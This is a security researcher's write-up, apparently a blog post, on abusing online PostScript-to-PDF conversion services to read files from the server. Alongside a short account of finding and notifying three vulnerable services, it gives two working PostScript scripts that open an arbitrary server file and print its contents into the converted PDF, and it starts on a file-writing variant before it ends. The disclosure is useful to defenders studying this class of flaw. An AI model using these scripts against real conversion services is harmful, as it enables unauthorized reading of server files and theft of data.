The exploiting was simple: I was able to upload the postscript files to the server, which then proceeded to convert the file to PDF or PDF/A. With one of the services I had to just rename the PostScript file so it had .pdf extension. Then the services gave me access to the converted files, which had the loot within them...
I have also witnessed this vulnerability on the Internet in publicly available services and notified them. I tried to find possible targets (file conversion services) with Google and tested about 10 of the first hits in the results. 3 of the targets were vulnerable but by the request of the vulnerable parties, whose services are now fixed, I won't be disclosing them publicly.
I first uploaded the Hello World script found in wikipedia:
%!PS
/Courier % name the desired font
20 selectfont % choose the size in points and establish
% the font as the current one
72 500 moveto % position the current point at
% coordinates 72, 500 (the origin is at the
% lower-left corner of the page)
(Hello world!) show % stroke the text in parentheses
showpage % print all on the page
After uploading the file with a pdf extension, the service converted it automatically and the resulting PDF looked like the following:
PoC code
- Script that reads a file and includes it's contents in the PDF, that is the result of the conversion
- Script that creates arbitrary files
What was unfortunate for me, was that the process had no permissions to write any files on the server, but I still was able to read any files that the process had read access to.
Reading arbitrary files
Because I didn't find anything online that would accomplish the same, I thought that I would share my scripts, so here goes:
Reading arbitrary files and including the text in the resulting PDF file
%!PS
/infile (input.txt) (r) file def % open files
/buff 128 string def % buffer for reading
/Courier 8 selectfont % name and size of font
/LM 72 def % x coord
/ypos 800 def % y coord
/lineheight 10 def % height of a line
/newline { % function for changing lines
ypos lineheight sub
/ypos exch def
LM ypos moveto
} def
LM ypos moveto % move to starting coords
{ % read the file in loop
infile buff readline % read the file 1 line at a time
{ %ifelse
buff cvs show
newline
}
{ %else
buff cvs show
infile closefile % close file pointer
exit % exit the loop
} ifelse
} bind loop
showpage
/infile (input.txt) (r) file def % open files
/buff 128 string def % buffer for reading
/Courier 8 selectfont % name and size of font
/LM 72 def % x coord
/ypos 800 def % y coord
LM ypos moveto
{ % loop
infile buff readstring % read chars to the buffer
{ %ifelse
buff cvs show % write the chars to the document
}{ %else
buff cvs show
infile closefile % close file pointer
exit % exit the loop
} ifelse
} bind loop
showpage
If you read a file with the above script and try to extract the contents with pdf2txt, all the binary bytes are replaced with (sid:xx) where xx is a decimal representation of the character. For example a newline (0x0a) would be replaced with (sid:10), but they should be fairly simple to convert back to their binary form.
Writing arbitrary files
You still get a pdf, but it's empty...